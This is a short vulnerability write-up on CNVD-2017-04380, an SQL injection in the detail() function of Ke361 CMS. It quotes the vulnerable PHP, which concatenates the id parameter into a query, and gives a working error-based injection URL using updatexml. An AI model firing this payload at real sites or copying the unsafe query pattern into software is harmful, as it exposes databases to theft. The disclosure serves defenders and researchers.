Ke361 Topiccontroller Class Php Sql Injection Vulnerability Cnvd 2017 04380
Ke361 Topiccontroller Class Php Sql Injection Vulnerability Cnvd 2017 04380
Ke361 TopicController.class.php SQL injection vulnerability CNVD-2017-04380
Vulnerability Description
Ke361 SQL injection vulnerability exists in the detai() function in the Ke361 TopicController.class.php file
Vulnerability Impact
Ke361
Environment construction
https://gitee.com/jcove/ke361
Vulnerability reappears
CMS Product Page
The vulnerable file is Application/Home/Controller/TopicController.class.php, vulnerability function details
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function detail(){
$id = I('id');
$where['tid'] = $id;
$TopicModel = new TopicModel();
$topicInfo = $TopicModel->info($id);
// if(empty($topicInfo)){
// $this->error('您查看的专题不存在哦!');
// }
// 这里注释掉,默认不存在专题
M('Topic')->where('id='.$id)->setInc('hits');
$this->setSiteTitle($topicInfo['title']);
$goods = $this->lists(D('Goods'),$where);
foreach ($goods as $k=>$v){
$goods[$k]['url'] = U('/goods/'.$v['id']);
}
$this->assign('goods',$goods);
$this->assign('topic',$topicInfo);
$this->display();
}
Here, receive the parameter id, and then execute the SQL statement, and the database data can be obtained through error injection
1
/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
This post is licensed under CC BY 4.0 by the author.